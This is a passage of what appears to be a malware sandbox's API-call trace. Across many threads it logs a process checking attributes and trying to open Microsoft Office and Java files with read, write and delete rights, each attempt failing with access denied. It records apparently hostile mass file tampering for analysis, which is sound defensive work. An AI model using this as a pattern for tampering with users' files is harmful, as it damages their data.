Content\\1033\\EPC_M.VSS", dwFileAttributes=0x20) returned 0 [0198.869] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76290) returned 1 Thread: id = 8831 os_tid = 0x1798 [0197.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EPC_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\epc_m.vst")) returned 0x20 [0198.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EPC_M.VST", dwFileAttributes=0x20) returned 0 [0198.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EPC_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\epc_m.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0198.870] GetLastError () returned 0x5 [0198.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EPC_M.VST", dwFileAttributes=0x20) returned 0 [0198.870] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c773c8) returned 1 Thread: id = 8893 os_tid = 0x950 [0198.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x20 [0198.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF", dwFileAttributes=0x20) returned 0 [0198.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0198.304] GetLastError () returned 0x5 [0198.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF", dwFileAttributes=0x20) returned 0 [0198.304] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5138) returned 1 Thread: id = 8894 os_tid = 0x590 [0198.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x20 [0198.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF", dwFileAttributes=0x20) returned 0 [0198.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0198.306] GetLastError () returned 0x5 [0198.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF", dwFileAttributes=0x20) returned 0 [0198.306] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b41d0) returned 1 Thread: id = 8895 os_tid = 0xecc [0198.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x20 [0201.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF", dwFileAttributes=0x20) returned 0 [0201.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.430] GetLastError () returned 0x5 [0201.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF", dwFileAttributes=0x20) returned 0 [0201.431] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b4fa0) returned 1 Thread: id = 8896 os_tid = 0xed0 [0198.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x20 [0201.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF", dwFileAttributes=0x20) returned 0 [0201.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.432] GetLastError () returned 0x5 [0201.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF", dwFileAttributes=0x20) returned 0 [0201.432] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b3950) returned 1 Thread: id = 8897 os_tid = 0x1a28 [0198.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x20 [0202.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF", dwFileAttributes=0x20) returned 0 [0202.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.620] GetLastError () returned 0x5 [0202.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF", dwFileAttributes=0x20) returned 0 [0202.620] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b3a60) returned 1 Thread: id = 8898 os_tid = 0x1e48 [0198.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x20 [0202.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF", dwFileAttributes=0x20) returned 0 [0202.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.621] GetLastError () returned 0x5 [0202.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF", dwFileAttributes=0x20) returned 0 [0202.621] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b3b70) returned 1 Thread: id = 8899 os_tid = 0x1e70 [0198.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x20 [0202.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF", dwFileAttributes=0x20) returned 0 [0202.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.622] GetLastError () returned 0x5 [0202.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF", dwFileAttributes=0x20) returned 0 [0202.622] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b3598) returned 1 Thread: id = 8900 os_tid = 0x4e0 [0198.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x20 [0202.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF", dwFileAttributes=0x20) returned 0 [0202.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.606] GetLastError () returned 0x5 [0202.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF", dwFileAttributes=0x20) returned 0 [0202.606] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b3620) returned 1 Thread: id = 8901 os_tid = 0x998 [0198.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x20 [0202.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF", dwFileAttributes=0x20) returned 0 [0202.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.607] GetLastError () returned 0x5 [0202.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF", dwFileAttributes=0x20) returned 0 [0202.607] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b3730) returned 1 Thread: id = 8902 os_tid = 0x360 [0198.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x20 [0202.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF", dwFileAttributes=0x20) returned 0 [0202.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.608] GetLastError () returned 0x5 [0202.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF", dwFileAttributes=0x20) returned 0 [0202.608] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b37b8) returned 1 Thread: id = 8903 os_tid = 0x650 [0198.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x20 [0202.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF", dwFileAttributes=0x20) returned 0 [0202.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.609] GetLastError () returned 0x5 [0202.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF", dwFileAttributes=0x20) returned 0 [0202.609] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b3840) returned 1 Thread: id = 8904 os_tid = 0x11c0 [0198.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x20 [0202.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF", dwFileAttributes=0x20) returned 0 [0202.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.610] GetLastError () returned 0x5 [0202.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF", dwFileAttributes=0x20) returned 0 [0202.610] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b38c8) returned 1 Thread: id = 8905 os_tid = 0x630 [0198.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x20 [0202.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF", dwFileAttributes=0x20) returned 0 [0202.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.611] GetLastError () returned 0x5 [0202.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF", dwFileAttributes=0x20) returned 0 [0202.611] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b39d8) returned 1 Thread: id = 8906 os_tid = 0xe98 [0198.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x20 [0202.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF", dwFileAttributes=0x20) returned 0 [0202.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.612] GetLastError () returned 0x5 [0202.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF", dwFileAttributes=0x20) returned 0 [0202.612] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b3ae8) returned 1 Thread: id = 8919 os_tid = 0x13f8 [0198.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarbb.dpv")) returned 0x20 [0198.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARBB.DPV", dwFileAttributes=0x20) returned 0 [0198.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarbb.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0198.606] GetLastError () returned 0x5 [0198.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARBB.DPV", dwFileAttributes=0x20) returned 0 [0198.606] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b36a8) returned 1 Thread: id = 8920 os_tid = 0xf88 [0198.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarbb.poc")) returned 0x20 [0198.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARBB.POC", dwFileAttributes=0x20) returned 0 [0198.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarbb.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0198.607] GetLastError () returned 0x5 [0198.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARBB.POC", dwFileAttributes=0x20) returned 0 [0198.607] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b41d0) returned 1 Thread: id = 8921 os_tid = 0x15c8 [0198.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARVERTBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarvertbb.dpv")) returned 0x20 [0198.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARVERTBB.DPV", dwFileAttributes=0x20) returned 0 [0198.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARVERTBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarvertbb.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0198.609] GetLastError () returned 0x5 [0198.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARVERTBB.DPV", dwFileAttributes=0x20) returned 0 [0198.609] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134e3048) returned 1 Thread: id = 8922 os_tid = 0xa4c [0198.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARVERTBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarvertbb.poc")) returned 0x20 [0198.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARVERTBB.POC", dwFileAttributes=0x20) returned 0 [0198.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARVERTBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarvertbb.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0198.610] GetLastError () returned 0x5 [0198.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARVERTBB.POC", dwFileAttributes=0x20) returned 0 [0198.610] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134e2bc8) returned 1 Thread: id = 8923 os_tid = 0xf8c [0198.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.dpv")) returned 0x20 [0198.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.DPV", dwFileAttributes=0x20) returned 0 [0198.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0198.612] GetLastError () returned 0x5 [0198.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.DPV", dwFileAttributes=0x20) returned 0 [0198.612] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x935da0) returned 1 Thread: id = 8924 os_tid = 0xf90 [0198.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.xml")) returned 0x20 [0198.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.XML", dwFileAttributes=0x20) returned 0 [0198.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0198.613] GetLastError () returned 0x5 [0198.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.XML", dwFileAttributes=0x20) returned 0 [0198.613] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x935d20) returned 1 Thread: id = 8925 os_tid = 0xf94 [0198.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign98.poc")) returned 0x20 [0198.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN98.POC", dwFileAttributes=0x20) returned 0 [0198.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign98.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0198.615] GetLastError () returned 0x5 [0198.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN98.POC", dwFileAttributes=0x20) returned 0 [0198.615] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5138) returned 1 Thread: id = 8926 os_tid = 0xfd4 [0198.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGNHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\signhm.poc")) returned 0x20 [0198.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGNHM.POC", dwFileAttributes=0x20) returned 0 [0198.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGNHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\signhm.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0198.624] GetLastError () returned 0x5 [0198.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGNHM.POC", dwFileAttributes=0x20) returned 0 [0198.624] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b50b0) returned 1 Thread: id = 8927 os_tid = 0x9fc [0198.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SNIPE.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\snipe.poc")) returned 0x20 [0198.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SNIPE.POC", dwFileAttributes=0x20) returned 0 [0198.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SNIPE.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\snipe.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0198.625] GetLastError () returned 0x5 [0198.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SNIPE.POC", dwFileAttributes=0x20) returned 0 [0198.625] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x935ca0) returned 1 Thread: id = 8928 os_tid = 0x1014 [0198.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storybb.dpv")) returned 0x20 [0198.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYBB.DPV", dwFileAttributes=0x20) returned 0 [0198.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storybb.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0198.627] GetLastError () returned 0x5 [0198.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYBB.DPV", dwFileAttributes=0x20) returned 0 [0198.627] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5028) returned 1 Thread: id = 8974 os_tid = 0x13d8 [0199.193] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\Louisville" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\kentucky\\louisville")) returned 0x20 [0200.741] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\Louisville", dwFileAttributes=0x20) returned 0 [0200.741] CreateFileW (lpFileName="C:\\Program Files 